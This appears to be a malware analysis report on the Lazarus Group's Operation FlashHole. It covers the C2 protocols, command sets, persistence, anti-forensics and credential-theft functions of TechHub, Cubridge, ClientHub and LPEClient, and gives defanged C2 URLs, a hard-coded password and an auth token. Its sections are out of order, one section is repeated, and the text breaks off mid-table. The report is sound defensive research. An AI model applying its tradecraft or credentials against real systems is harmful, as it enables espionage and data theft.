When TechHub loads, it creates a 4‑byte hexadecimal identifier (ID) in the range 0x1000–0xFFFF or reads one from the configuration file, enabling the attackers to distinguish between compromised hosts. TechHub then checks a GitHub issue by sending the request GET /issues?state=[open/closed] to determine whether any previous communication remains active and removes any traces of it if found. It then proceeds with the handshaking process.
It creates a new issue titled 1[ID] with the body “hel” using the POST /issues request, and sets its status to open.
It then retrieves a file from the repository containing the 2[ID] value in its name. This file contains the RSA public key.
It generates a random 16‑byte XOR key, encrypts it with the provided RSA public key, and uploads the result, prefixed with 1[ID], to the repository.
The hard‑coded IV is XORed with the generated 16‑byte key and then used after the handshake.
During file exchange, filenames follow the pattern [1|2][ID][random-16-byte-key] throughout communication. The “2” prefix indicates delivery from the repository to TechHub, while “1” indicates delivery from TechHub to the repository. The random 16‑byte key in the filename is used for AES encryption or decryption of each file’s contents, employing either a hard‑coded IV or an updated IV.
After the key exchange is complete, TechHub reads a file with the prefix “2” once again and verifies that the delivered data equals “hel”. If the check passes, TechHub gathers extensive information from the infected host. This data is then encrypted and sent to the repository. After transmitting the device information, the process concludes by updating the body of the previously created issue from “hel” to “hey” using PATCH /issues/[issue number]. The malware is now fully prepared to receive commands from the repository.
TechHub supports four commands. The laeca command deploys a payload packaged in shellcode that reflectively loads the embedded payload directly into memory.
Command
Description
mqdrz
Collect information about the device and its running processes
laeca
Directly invoke the received shellcode in memory
aqvxp
Terminate the current process
rtcya
Beaconing after finishing the handshake process
Cubridge – the framework orchestrator
Cubridge, deployed via TechHub on the compromised host, is capable of retrieving various payloads through multiple methods. It serves as the central orchestrator of the entire malware framework, supporting a range of plugins, modules, and tools. An earlier version of Cubridge was also disclosed in the reports covering the previous version of TechHub. In those reports, Mandiant identified it as SIDESHOW, and ESET identified one of its modules as LightlessCan.
To establish communication with the C2 server, Cubridge randomly selects one of the predefined C2 servers and constructs a dedicated C2 URL for every request, using the pattern [C2_URL]/[page1]/[page2]/[page3]. This is achieved by concatenating terms from predefined word lists. Our analysis identified a single hardcoded C2 server – hxxps://cubedesign[.]co[.]kr/news/AABBCC – associated with the examined instance that is configured to version 5.1. During URL generation, AABBCC is substituted with a null value. The page3 segment is assigned a randomly generated integer between 10000000 and 99999999. Consequently, each generated URL is designed to appear authentic and remain unique for each request.
The predefined list for page1 is shown below. TechHub randomly selects one item from the list.
The predefined word list for page2 is shown below.
article, list, story
This means the hardcoded URL can later be transformed, for example, into hxxps://cubedesign[.]co[.]kr/news/economy/article/12345678 by following the steps described above.
Authentication using the POST request with the C2 server requires three parameters in the form of key‑value pairs. Each key is randomly generated using a different predefined word dictionary, and the associated values consist of a randomly generated 8‑byte hexadecimal bot ID, a fixed authentication token (KW4Ofw982CNJjxd51AVqkGAop), and a randomly generated 16‑byte hexadecimal session ID.
Cubridge employs a more robust handshaking process than TechHub, combining the RSA and RC6 algorithms. Unlike TechHub, it skips the profiling step and proceeds directly to command and control after the handshake. During communication, the malware mimics browser requests, using X‑CSRF‑Token and X‑Requested‑With headers for authentication and the Upgrade‑Insecure‑Requests header to request additional data.
Cubridge’s communication sequence
Cubridge contains extensive functionality, with a particular focus on loading subsequent‑stage payloads. The commands employ various techniques, such as DLL injection, reflective loading, and section‑mapping injection. The payloads may be delivered in various forms:
Plugins – reusable extensions that add functionality as needed and can be invoked at any time (in shellcode and DLL form);
Tools (in DLL form) – independent utilities that perform one-off tasks;
Modules – components that are loaded once and remain active providing an extended set of functionalities.
It is anticipated that the commands for plugins and shellcode will load identical types of plugins because both support a similarly formed exported function for subsequent activity. The shellcode can be generated using the open‑source sRDI tool to package a DLL‑style plugin. The capabilities of a single DLL are likely utilized to load a tool that works independently because when a single DLL is loaded, only its DllMain entry point and its parameters are accessible; no other exported functions are exposed.
Command
Payload type
Description
0
–
Collect device info including the computer name, time zone, PID, and other similar details
1
Archive the specified file/directory using the legacy ZipCrypto algorithm and the hard‑coded password: xdkiTajAAxc3i/w[<881fnC!G*cb1Dit2sh.gAk/
2
Create a file at the specified path
3
Possibly plugin
Inject the provided DLL payload into the target process and load it reflectively using reflective DLL injection
4
Plugin
Reflectively load a plugin in DLL format
5
Retrieve the address of the specified exported function from the target plugin and run it with the provided parameters
6
Retrieve all information about the loaded plugins
7
Unload the specified plugin
8
Shellcode
Inject the provided shellcode into the target process and load it using section mapping injection
9
Load the provided shellcode directly into memory
10
Retrieve the address of the specified export function from the target shellcode (likely a plugin in shellcode form) and run it with the provided parameter
11
Retrieve all information about the loaded shellcode
12
Unload the specified shellcode
13
–
Set the scheduled Cubridge execution time (in minutes) by updating a global variable
14
Set the scheduled Cubridge execution time (in minutes) by updating a global variable, while disabling monitoring by also updating another global variable
15
Terminate in a controlled manner
16
Get the configuration for Cubridge: retrieve the global flags, the number of C2 servers, the C2 addresses, etc.
17
Update the global flags, the number of C2 servers, the C2 addresses, etc.
18
Tool
Load a DLL reflectively with the specified parameter
19
Configure the parameters for loading a single DLL
20
Unload the single DLL
21
Module
Load the “action module” (ActionModule.dll) reflectively and invoke its AppinfoView export function
22
Load the “function module” (FunctionModule.dll) reflectively and invoke its PresentationFontConfig export function
Commands 21 and 22 each load a different module. As their internal names imply, the action module manages basic file and process operations, while the function module implements Windows’ default commands. The action module covers commands 23–41, and the function module handles commands 42–79.
The action module handles system operation commands, file system interactions, and process behavior. It is invoked by passing the appropriate command and parameters to its AppinfoView export function. The module supports 19 commands, numbered 23 through 41. Execution results are first sent to Cubridge, which then forwards them to the C2 server.
Command
Role
23
Get local disk space for each drive
24
Get information about the specified file or directory
25
Execute the provided command
26
Get information about the specified file or directory (similar to command 24)
27
Execute the provided command under the target process (PPID spoofing)
28
Execute the provided command under the target process within the provided session (PPID spoofing + session impersonation)
29
Get detailed information about processes
30
Terminate the provided process
31
Suspend all threads belonging to the specified process
32
Resume all threads belonging to the specified process
33
Permanently delete the file by overwriting its entire contents with the sequence: 0 → 1 → random bytes → 1 → 0
34
Rename the provided file to :EFS (the alternate data stream area) and delete it using the native API SetFileInformationByHandle
35
Set the current working directory
36
Copy the specified file to the provided path
37
Delete the specified directory
38
Move the specified file to the provided path
39
Create the provided directory
40
Initiate a non‑blocking connection attempt to the specified IP address and port (possibly for port scanning)
41
Read the specified file
The function module implements commands that emulate Windows’ built-in commands. Similar to the action module, its DllMain routine initializes all supported command functions, which are later accessed through the PresentationFontConfig export. Altogether, the module offers 38 commands, numbered from 42 to 79. While we believe this module is based on the previous LightlessCan, this is the first time we’ve seen it in the form of a separate module.
Command
Role
42
Capture all displays and archive them using the legacy ZipCrypto algorithm with the hard‑coded password: xdkiTajAAxc3i/w[<881fnC!G*cb1Dit2sh.gAk/
43
Synchronize the MAC (Modified, Accessed, and Created) times of the file provided in the second argument to match those of the file provided as the first argument
44
Get information about the specified directory
45
Get information about the specified drive
46
Inject the provided DLL payload into the target process
47
Unload the specified DLL from the specified process
48
Implementation of the ipconfig command
49
Implementation of the net command
50
Implementation of the netsh advfirewall firewall command
51
Implementation of the netstat command
52
Implementation of the ping -6 command
53
Implementation of the reg command
54
Implementation of the sc command
55
Implementation of the ping command
56
Implementation of the whoami command
57
Implementation of the nslookup command
58
Implementation of the schtasks command
59
Implementation of the systeminfo command
60
Implementation of the arp command
61
Call the CryptUnprotectData function to retrieve the AES key that DPAPI protects. Extract the key using the encrypted_key keyword from Chromium’s Local State file located at: %LOCALAPPDATA%\Google\Chrome\User Data\Local State
62
Not implemented
63
Not implemented
64
Read the specified file and decrypt it using an XOR operation with the key 0x59. Then extract the paths from the decrypted buffer and archive files and directories at these paths with the legacy ZipCrypto algorithm, using the hard‑coded password: xdkiTajAAxc3i/w[<881fnC!G*cb1Dit2sh.gAk/
65 ~ 79
Not implemented
Besides the modules, we also observed that the actor deployed various plugins and tools.
Type of payload
Name
Description
Plugin
ADFinder (AdFinder.dll)
Launches LDAP queries in an Active Directory environment, taking six arguments such as log file path, ADsPath, search filter, and attribute names
Plugin
FileCollector (Dll.dll)
Recursively scans every subdirectory and file in the provided directory, gathering detailed information about each
Tool
Browser stealer
Can be injected into Chromium-based browsers, such as Google Chrome, Microsoft Edge, and Brave. Once injected, it extracts files and credentials from the victim’s browsers, including stored passwords, bookmarks, history, preferences, and cookies
Tool
Process collector
Iterates over all running processes, collecting each process’s ID, path, and command line
TouchHub installs a service for TouchShift
During our analysis, we obtained a previously unknown malware sample from TechHub’s private GitHub repository, which served as a parent installer for TouchShift. We dubbed this malware TouchHub. Upon execution, it copies the legitimate printfilterpipelinesvc.exe to C:\Windows\System32\RasConv\ImeBroker.exe, registers it as a service, and places an embedded TouchShift payload named mscoree.dll in the same directory. Following creation, the malware synchronizes the MAC timestamps of C:\Windows\System32\drivers\monitor.sys with those of the newly written file, hindering forensic analysis.
It then goes through the service registration process by collecting up to 100 legitimate service names that are registered under the netsvcs svchost group in HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost. It randomly selects one of these names, appends two random alphabetic characters to form a new service name, and uses this name to create a service that runs the hard‑coded command line C:\Windows\System32\RasConv\ImeBroker.exe -TimeBroker with the description Microsoft Service. The newly created service is started immediately.
Overall, TouchHub creates three files in the designated directory to launch TouchShift with SYSTEM privileges.
Path
Type
Description
C:\Windows\System32\RasConv\ImeBroker.exe
Executable file registered as a service
Copied from C:\Windows\System32\printfilterpipelinesvc.exe
C:\Windows\System32\RasConv\mscoree.dll
Side-loaded TouchShift payload
Dropped by TouchHub. It contains encrypted payloads and includes portions of a legitimate DLL’s contents, which significantly inflates its size
C:\Windows\System32\RasConv\ActivationStore.dat
TechHub’s configuration file
Dropped by TouchHub after extracting configuration values
TouchShift, a prevalent loader employed across multiple infection chains
The version of TouchShift dropped by TouchHub is almost identical to the version described in Mandiant’s blog post, even sharing the same malicious export function, LockClrVersion. It takes the argument supplied by TouchHub and XORs it with a hard‑coded key. The resulting value is XORed once more with the executable’s filename, and this result is used as the AES key. All strings involved in this process (the argument, the XOR key, the filename) must be exactly 16 bytes long. If a string is shorter, it is padded with NULL bytes (\x00); if it is longer, it is truncated to 16 characters. For example, one of the string combinations in the obtained sample was:
Argument: -TimeBroker\x00\x00\x00\x00\x00 (padded with NULL)
Hard-coded XOR key: x809G736iC3f8Wp8
Executable filename: ImeBroker.exe\x00\x00\x00 (padded with NULL)
After deriving the key, the malware decrypts the embedded payload using AES‑CBC‑128 without padding. The decrypted data is shellcode that starts with a call instruction. It wraps the next‑stage payload – identified as the third version of TechHub (DLL side-loading with a registered service) – that reads the ActivationStore.dat file as an external configuration.
ClientHub
We also identified a new piece of malware stored in TechHub’s private repository, which we named ClientHub. It supports various commands formed using a bitmask. There are at least two versions of ClientHub: one that communicates with websites via HTTP(S) and one that interacts with the Dropbox API using credentials.
Depending on the version, its configuration is sourced from internal resources or the external configuration file C:\Program Files\Common Files\System\msadc\msadc.inc. The configuration comprises keys and IVs for the SNOW 1.0 algorithm, scheduled execution times, and C2 server addresses encrypted with the SNOW stream cipher. The SNOW cipher is a family of high‑speed stream ciphers used for secure data encryption in telecommunications and wireless networks. This is the first time it has been observed in the malware of the Lazarus Group.
To establish C2 communication, the malware initially generates a 32‑byte random array. It subsequently overwrites portions of this array with data collected from the compromised device. The resulting 32‑byte array comprises a blend of random bytes and relevant information. This array is later used as the key for the SNOW algorithm to decrypt data received from the C2 server. Finally, the key array is encrypted with a hard‑coded RSA public key and encoded in Base64.
Offset
Size
Field value
0
4
Current process ID
4
4
First four bytes of the decrypted C2 server information.
8
7
Randomly generated bytes
15
1
Calculated flag value that indicates a state machine.
16
8
Current system time, represented as a FILETIME structure.
24
8
Randomly generated bytes
The ciphertext is delivered to the C2 server via GET requests. Each request contains headers that are atypical for malware: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Mobile, Sec-Fetch-Mode, and Sec-Fetch-Dest. These headers are normally used by legitimate Chromium‑based browsers and enable malware to imitate legitimate traffic and evade detection. The C2 server replies with commands in a custom header and message body.
struct header
{
int has_more_data // whether more body data remains
int body_checksum;// ROR13 checksum for the body data
int body_type; // specifies the body type
int unknown;
int body_length; // Length of the body data
int IV[2]; // Random IV used to encrypt the body data
};
The body_type field in the header determines how the subsequent payload is processed. This value functions as a bitmask, with each bit representing a distinct flag (e.g., 0x1, 0x2, 0x4, etc.). The resulting behavior also depends on whether the least‑significant bit (bit 0) is set: when the value is odd, the malware interprets the incoming message body as an additional payload that is subsequently loaded into memory. Conversely, when the value is even, the malware invokes the previously loaded payload.
The odd value supports four distinct loading methods based on the received message body and ensures that each method executes only once.
Bitmask
Value in decimal
Description
Result sent to the C2
0x00000001
1
DLL loading: load the received body reflectively along with the provided parameter
The payload’s image base
0x00000011
3
Plugin: load the received body reflectively, obtain the address of a function in the payload, and then invoke that function along with the provided parameter
The payload’s image base, the address of the invoked function, and the execution result
0x00000101
5
Plugin: load the received body reflectively, obtain the address of a function in the payload, but refrain from invoking it immediately
The payload’s image base, the address of the function
0x00001011
11
Plugin: execute the behavior associated with value 3, then unload immediately after invoking the plugin
–
0x00010001
17
DLL loading: load the received body reflectively with the provided parameter, maintaining stateful communication via a persistent interactive session using a shared buffer
The payload’s image base, the address of the interactive shared buffer, and the execution result
The even value provides two distinct invocation methods for DLLs and plugins that have already been loaded and are associated with the odd‑value bitmask. The 2 (0x10) flag allows the payload previously loaded with the 1, 3, or 5 bitmask to be reused and invoked directly. The value 16 (0x10000) corresponds to the 17 (0x10001) flag in loading mode and uses the established interactive shared buffer to exchange data. All values are guaranteed to act independently.
Bitmask
Value in decimal
Description
Result sent to the C2
0x00000010
2
Invoke the previously loaded DLLs and plugins along with the provided parameter
The execution result
0x00000100
4
Not implemented
–
0x00001000
8
Unload the previously loaded DLLs and plugins
The execution result
0x00010000
16
Send the updated parameter to the payload loaded by the command with the value 17, and exchange data through the interactive session. This command also determines whether to retrieve the execution result or unload the payload
The execution result
Taking into account the loading mechanism, we identified four plugins deployed to the target that work perfectly with ClientHub.
Plugin
Description
File archiver
Archives the provided file using the legacy ZipCrypto algorithm (without password protection) and returns the compressed data
File collector
Searches for all files matching the provided search pattern and collects metadata including filename, MAC timestamps, file size, and attribute values
File cleaner
Overwrites the provided file with NULL bytes, renames it to a randomly generated filename of the same length, and then deletes it. If a directory with a search pattern is provided, it locates all matching files, renames each to a randomly generated name of identical length to its original name, and deletes them
Drive and session monitor
Monitors remote session changes and local drive changes for the provided duration (in 10-minute intervals) and returns the collected status information
In addition to the plugins, ClientHub supports the loading of LPEClient malware and communication with it. We found that ClientHub’s body_type values 16 and 17 correspond to LPEClient’s C2 communication mechanism.
LPEClient
LPEClient is the only malware that was also observed in Operation SyncHole, indicating that the actor relies heavily on it for sophisticated victim profiling and payload delivery across multiple operations. LPEClient first appeared in 2019, and was discovered in 2020. Since then, the tool has been widely observed in the Dream Job and Cascade Hole campaigns that targeted South Korea. Recent research conducted by Check Point revealed that LPEClient was used to deploy the FudModule malware using a zero-day.
LPEClient has evolved continuously over time, but we discovered that it recently underwent a major operational revamp. It no longer contains the C2 server address itself; instead, it interacts with ClientHub via a shared buffer. We believe this change is intended to enhance concealment.
Timeline of LPEClient
The previous version collected the computer name, memory status, CPU specifications, operating system details, version of the ntoskrnl.exe file, firmware table, antivirus name, domain name, user name, the integrity level of the current process, and a random byte sequence of 1,568 bytes. The newly updated LPEClient variant mostly collects the same information; however, it also introduces several changes.
It does not collect the version of the ntoskrnl.exe file by querying the FileVersion value. Instead, depending on the specific build, it reads either the HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\UBR registry key or the SYSTEM_BUILD_VERSION_INFORMATION structure to retrieve the revision portion of the Windows build number. These values can be used to infer the system’s cumulative update or patch level.
To collect information about installed antivirus products, it switched from querying a WQL command to reading the WMI repository file directly. It now reads C:\Windows\System32\wbem\Repository\OBJECTS.DATA and searches for keywords such as AntiVirusProduct, companyName, and displayName to identify the installed products.
It also collects low‑level Windows security mitigation states. To achieve this, it queries the SYSTEM_KERNEL_VA_SHADOW_INFORMATION structure for the Kernel VA Shadow mitigation status and the SYSTEM_SHADOW_STACK_INFORMATION structure for the Shadow Stack (CET) protection status.
Additionally, it generates a 32‑byte random unique identifier by using the HighwayHash algorithm and an XOR operation with the current system time. The collected information, including the generated identifier, is compressed with the XPRESS Huffman algorithm using the maximum compression setting. The compressed data is then concatenated with the message ID 0xF07D6B34 and encrypted using GOST (also known as Magma), Russia’s national cryptographic standard that employs a DES‑like structure, before being sent to the ClientHub via a shared buffer. Initially, KrCERT described the algorithm as a custom DES‑like scheme. However, further analysis by us and Check Point confirmed that it is actually the GOST algorithm. The key is randomly generated by a proprietary key‑generation algorithm and prepended to the encrypted message.
The next request handles the key exchange by delivering the message ID 0xA39CF278 together with the generated unique identifier. The response is decrypted using the AES‑CBC‑256 algorithm. The SHA‑256 hash of the previously generated 1,568‑byte random value, which was originally sent to the C2 server during the collection phase, serves as the key for this decryption.
Through this process, LPEClient obtains a byte array comprising four 1,568‑byte blocks from the C2 response. Each block contains an ML‑KEM‑1024 public key, where ML‑KEM is a NIST‑standardized post‑quantum key encapsulation mechanism derived from CRYSTALS‑Kyber. LPEClient then generates four distinct pairs of shared keys and ciphertexts from these blocks, encrypts the ciphertexts with the GOST algorithm, and transmits them to the C2 server via ClientHub together with the message identifier 0xEF8C0D51 and the associated identifier. Now that the preparation phase for receiving payloads is complete, the malware is ready to receive payloads forwarded by ClientHub from the C2 server, along with the necessary parameters. The use of post-quantum cryptography shows that the group intends to hide subsequent payloads.
The response to the 0xEF8C0D51 message is decrypted with the Threefish algorithm using a 128-byte key, composed of the four distinct shared keys. Threefish is a tweakable block cipher that accepts a ‘tweak’ value alongside the key and the message. The concept of a tweak is similar to that of a nonce or initialization vector, which are used in different types of ciphers. In LPEClient communication, the tweak for the decryption is derived by XORing the unique identifier with 165 (0xA5). The first four bytes of the decrypted message must specify the parameter’s length, followed by the parameter itself and then the payload. The payload must be larger than 4 KB and start with the characters 'MZ', which indicates that the decrypted payload is an executable file. The payload is then reflectively loaded into memory. After successful loading, LPEClient sends the message ID 0xCB790A25 to the C2 server.
Before loading the acquired payload, LPEClient takes measures to bypass security products. Instead of invoking VirtualProtect directly, the malware uses the identified HeapPageAllocator::ProtectPages in jscript9.dll to modify the memory page protection of the MD4Update function. The beginning of the function is then overwritten with a hard‑coded opcode sequence that serves as a syscall stub with the required arguments. LPEClient then uses the syscall stub to disable a user‑mode syscall instrumentation hook.
We identified the final payload that was ultimately loaded as Cubridge. The overall communication process is as follows.
Data relay flow between LPEClient and C2 via ClientHub
Comparison of plugins and modules
Throughout the engagement, we identified a variety of payloads deployed by TechHub, Cubridge, and ClientHub. These payloads have been categorized as tools, plugins, and modules that constitute the group’s modular malware framework. While we have not yet ascertained which payloads are deployed under specific conditions, the evidence suggests that the Lazarus Group’s toolkit is becoming increasingly sophisticated and segmented into specialized components rather than a single comprehensive backdoor. We also believe that TechHub and Cubridge may share similar tools.
These modularizations are not confined to the instances within this campaign. As previously noted, similar patterns have been identified in CookiePlus, MISTPEN, SIGNBT, and IMETHOD. Note that we have reclassified the ThreatNeedle variant used in Operation SyncHole as the latest version of IMETHOD, the predecessor of ThreatNeedle in use since at least 2016.
Infrastructure
Based on the information we obtained from the TechHub malware, we identified at least three primary repositories used as the C2 server and one fallback repository. The earliest evidence indicates that the group has been leveraging GitHub as a C2 server since at least July 2025. We suspect that all the accounts were created using hijacked email accounts, and disguised as normal repositories by copying or creating normal projects to avoid suspicion.
For the Cubridge and ClientHub C2 servers, the Lazarus Group employed only a minimal number of compromised yet legitimate South Korean media and interior design websites. Later, we observed that a broader range of compromised legitimate sites across various industries were also exploited. In addition, one ClientHub sample that we detected used Dropbox as a C2 channel.
Victims
We have identified at least three firms from the software, construction, and wired communication equipment industries in South Korea that were targeted by Operation FlashHole. As with the previous operation, however, we remain confident that a considerably larger number of organizations across a broader spectrum of industries have been affected.
The software sector was the only sector targeted in both the SyncHole and FlashHole campaigns. This suggests the actor is eager to compromise the sector, steal source code, and exploit vulnerabilities for further attacks.
Attribution and links to other campaigns
Operation FlashHole is the latest wave in the broader Cascade Hole campaign, which involves the use of South Korean software as a potential entry point to deliver malware targeting the country. Although the malware chain has advanced significantly since last year, we assess with medium-to-high confidence that the same actor is responsible for both the SyncHole and FlashHole operations based on the initial vector, targets, multi‑stage chain, and technical and operational improvements. The use of LPEClient in particular is a strong indicator supporting this assessment.
The malware strains used in the attack are historically linked to the toolsets observed in the Lazarus Group’s notorious Dream Job campaign. Earlier versions of TechHub (also known as CLOUDBURST and NickelLoader), Cubridge (also known as SIDESHOW and LightlessCan), and TouchShift were all observed in that campaign, especially between 2022 and 2023.
We also discovered that both CookiePlus and ClientHub have significant overlaps in class name, configuration path, and plugins. Based on these similarities, we assess with medium‑high confidence that ClientHub is an advanced version of CookiePlus.
Since July, around the time Operation SyncHole began winding down, we have also observed several notable attacks against South Korea employing the COPPERHEDGE backdoor and targeting various South Korean organizations. Interestingly, the start times of these activities align with the earliest evidence we have identified for Operation FlashHole. Although the backdoor was part of the second phase of Operation SyncHole, it has been operating independently with its custom loader since then. These incidents featured malware chains and tools that were distinct from those used in Operation SyncHole and FlashHole.
As AhnLab noted in their report, the same backdoor was likely observed in atypical activity, specifically the Gunra ransomware infection. Our investigation further revealed that one instance of a backdoor infection ultimately resulted in the exfiltration of data to a dark web leak site, which clearly differed from Gunra’s. The site appears to have been crafted exclusively for this activity. In summary, unlike other attacks, the backdoor was used in conjunction with both ransomware and data exfiltration.
Data leakage site linked to the COPPERHEDGE backdoor on the dark web
Another noteworthy point is that the recent Dream Job campaign employs an updated malware chain that, since around 2024, has primarily involved MISTPEN and ForestTiger rather than the earlier arsenal that included tools such as TechHub and Cubridge. However, the updated versions of this older malware have now re-emerged as part of Operation FlashHole. Considering these changes and all aspects of each attack’s TTPs, we have organized a classification for each attack.
Overlaps between the recent attacks by Lazarus Group
Conclusion
Our analysis shows that the Lazarus Group begins preparing for its next operation shortly after completing the previous one, ultimately deploying an enhanced malware chain by refining existing tools. The group continues to use the advanced version of LPEClient for profiling and payload delivery, indicating that the tool is meticulously managed and well maintained. Ironically, the group seems to have adopted more secure post-quantum cryptography faster than many legitimate security products. These observations suggest the involvement of a dedicated developer, with others orchestrating comprehensive attack scenarios against newly targeted software.
We anticipated that specialized attacks targeting South Korea would persist. However, we did not foresee multiple attack campaigns being executed simultaneously, each leveraging different types of software and tools. Notably, the COPPERHEDGE cluster appears to be involved in monetizing the attacks, while Operation FlashHole is focused on espionage. We are closely monitoring these changes to understand their motivations and ultimate goals.
In October 2025, the South Korean government unveiled a comprehensive cybersecurity plan that will phase out the mandatory installation of security software for users beginning in 2026. We estimate that operations exploiting this software will remain highly active for some time, maximizing efficiency, before the software is fully eliminated or mitigated.
Kaspersky products detect the exploits and malware used in this attack with the following verdicts: MEM:Trojan.Win64.Shellcode.gen, Trojan.Win64.DLLhijack.*, Trojan.Win64.Lazarus.*.
In January, we responded to the Lazarus Group’s novel attack campaign against South Korea, which followed last year’s Operation SyncHole. In this new operation, the group employed an updated malware chain that included both their old and new malware, which we disclosed in full, and used another mandatory South Korean security software program as a part of infection chain using a watering‑hole strategy. Notably, the group targeted victims more selectively, sending spear‑phishing emails with links to fabricated but relevant sites, such as portfolio and résumé pages tailored to each target. We dubbed this activity Operation FlashHole.
Operation FlashHole attack flow during initial compromise
Our examination reveals that the earliest evidence of this new operation dates back to July 2025. This suggests the group began preparing for the campaign shortly after ending Operation SyncHole, which lasted at least four months. We identified a minimum of three organizations impacted by the campaign in South Korea’s software, construction, and wired communication equipment manufacturing sectors. These sectors differ from those affected by Operation SyncHole, indicating that the group has expanded its target scope over time.
Background
After more than a year since the first observation of Operation SyncHole, we detected a suspicious execution chain originating from legitimate South Korean software. This chain mirrors the one from the previous operation; however, this time, the attacker abused CrossWeb EX instead of Cross EX, which was abused in Operation SyncHole. Both applications appear to be maintained by the same vendor, and both are related to financial security. CrossWeb EX is a financial security solution that is required to access widely used online banking and government websites. It encrypts communications between the user’s browser and the web server using public key infrastructure (PKI). This is not the first time Lazarus has abused this software. It was also used in 2021 to deploy the Racket downloader and again in 2022 and 2023. Although the exact method by which CrossWeb EX was abused remains unclear, we determined that the attack chain ultimately leads to the execution of the malware in memory.
We noted that the spawned process was running with a high integrity level. The parent process, INISAFECrossWebEXSvc.exe, originates from the installation bundle of INISAFE CrossWeb EX V3 version 3.4.1.2, released in 2023 after KrCERT’s public advisory.
As we already mentioned in our SyncHole blog post, this pattern closely mirrors the long‑standing strategy employed by the Lazarus Group to target South Korea. Since CrossWeb EX and similar software is mandatory for South Korean users and typically runs in the background to interact with the browser, it has been leveraged as a critical attack vector by the group. In 2025, a paper was presented at the USENIX Security Symposium that investigated vulnerabilities in South Korea’s mandatory security software and demonstrated how such software can unintentionally create a massive attack surface.
In July 2026, the South Korean government and several local security vendors also published a joint security advisory covering typical Lazarus attack techniques, including exploitation of financial security software. While this advisory overlaps with our findings from Operation FlashHole and Operation SyncHole, and AhnLab’s detailed analysis report Operation Double Barrel covers a wide range of recent Lazarus Group activities, we are conducting a more granular classification based on their TTPs. We will discuss this further in the attribution section.
Initial infection vector
Although we could not precisely determine what triggered the infection chain, our analysis uncovered a suspicious website hosted on GitHub Pages that is associated with the GitHub account used as the C2 channel. The GitHub account was created last September, and the initial version of the site was designed to showcase the résumé of a senior network appliance developer. In January, however, this site was replaced with another featuring an interior design showcase. The first site was likely accessed by an employee of a wired communication manufacturing company, while the second site likely affected a target in the construction sector.
Appearance of the malicious websites
The first site with the résumé had a photograph supposedly of a job seeker, but the lack of EXIF metadata and the unnatural texture of the image indicate that it was generated by AI. This suggests the Lazarus Group has incorporated AI into its long‑standing strategy, like other Korean‑speaking threat actors (1, 2). The group most likely also used AI to create the lure site: the job seeker’s name resembles the Korean version of “John Doe,” and the portfolio was populated with seemingly meaningless details and random companies. The generated site was then manually tailored to specific targets.
Suspected use of an AI-generated image on the résumé site
The websites contained embedded links that loaded an external JavaScript file via a script tag.
Malicious link embedded in the résumé site: hxxps://javadevhouse.co[.]kr/ajax/libs/jquery/1.7.3/jquery.min.js
Malicious link embedded in interior design site: hxxps://pythonapischool[.]com/api/detach
Based on the analysis, we assess with medium-to-high confidence that the targets received phishing emails containing links to the malicious site hosted on GitHub Pages (using the domain <username>.github.io). The research results showed a high possibility that visiting the malicious site initiated an infection process involving CrossWeb EX software. This assessment aligns with Lazarus’s recent approach, as detailed in the joint advisory published by the South Korean government and security companies.
Full infection chain
Following the initial compromise, the legitimate Windows binary fsquirt.exe was executed under the CrossWeb EX process and injected with shellcode containing a malicious DLL – TechHub malware. From our extensive and thorough examination, we identified several malicious payloads and reconstructed the complete infection chain. The infection chain is rather complex and reveals the Lazarus Group’s advanced operational techniques on targeted hosts. These techniques conceal their malicious payloads, intent and their sophisticated malware delivery framework. The latter was updated extensively compared to the previous campaign, despite the new operation starting less than a year later. Significantly, the execution chain below exists only in memory during the initial infiltration, highlighting the attackers’ considerable efforts to hide the initial compromise.
Initial infection chain
Following the initial compromise, the group sought to maintain persistence on the network by installing a pair of malware strains – TouchHub and TouchShift – leveraging DLL side‑loading under the name mscoree.dll. TouchHub was deployed by the first instance of TechHub. It then used DLL side-loading to launch TouchShift, which led to the in‑memory execution of another TechHub instance. After launching the second time, TechHub deployed another pair, ClientHub and LPEClient, rather than executing Cubridge directly. Only minimal traces of these files were found on disk; the remainder of the malicious code persisted exclusively in memory.
Expanded infection chain after gaining persistence
Since Cubridge remains only in memory at the initial compromise stage, we suspect the group designed this indirect, multistage chain to deliberately redeploy Cubridge after gaining persistence, as it serves as the most sophisticated orchestrator of the attack.
Malware set
The full chain comprises advanced variants of the known Lazarus malware strains, including TechHub, Cubridge, TouchShift, LPEClient, and the newly identified TouchHub and ClientHub.
TechHub – the start of the chain
TechHub, a downloader that plays a central role in this attack, communicates with GitHub using a Personal Access Token (PAT). It serves as the initial payload, providing the top of the chain with sufficient functionality to profile compromised hosts and facilitate subsequent payloads.
This variant is a more advanced version of the malware named CLOUDBURST by Mandiant and NickelLoader by ESET. According to their reports, the earlier version communicated with a C2 server via HTTP(S) to fetch additional payloads. The latest iteration we found, however, communicates with GitHub instead and has updated command strings.
We identified three variants of TechHub in the chain: an in‑memory version, a simple DLL side‑loading version, and a DLL side‑loading version that uses a registered Windows service. Depending on which stage loads the malware, it contacts a private GitHub repository via the GitHub API using either hard‑coded credentials or credentials retrieved from its configuration file.
When TechHub loads, it creates a 4‑byte hexadecimal identifier (ID) in the range 0x1000–0xFFFF or reads one from the configuration file, enabling the attackers to distinguish between compromised hosts. TechHub then checks a GitHub issue by sending the request GET /issues?state=[open/closed] to determine whether any previous communication remains active and removes any traces of it if found. It then proceeds with the handshaking process.
It creates a new issue titled 1[ID] with the body “hel” using the POST /issues request, and sets its status to open.
It then retrieves a file from the repository containing the 2[ID] value in its name. This file contains the RSA public key.
It generates a random 16‑byte XOR key, encrypts it with the provided RSA public key, and uploads the result, prefixed with 1[ID], to the repository.
The hard‑coded IV is XORed with the generated 16‑byte key and then used after the handshake.
During file exchange, filenames follow the pattern [1|2][ID][random-16-byte-key] throughout communication. The “2” prefix indicates delivery from the repository to TechHub, while “1” indicates delivery from TechHub to the repository. The random 16‑byte key in the filename is used for AES encryption or decryption of each file’s contents, employing either a hard‑coded IV or an updated IV.
After the key exchange is complete, TechHub reads a file with the prefix “2” once again and verifies that the delivered data equals “hel”. If the check passes, TechHub gathers extensive information from the infected host. This data is then encrypted and sent to the repository. After transmitting the device information, the process concludes by updating the body of the previously created issue from “hel” to “hey” using PATCH /issues/[issue number]. The malware is now fully prepared to receive commands from the repository.
TechHub supports four commands. The laeca command deploys a payload packaged in shellcode that reflectively loads the embedded payload directly into memory.
Command
Description
mqdrz
Collect information about the device and its running processes
laeca
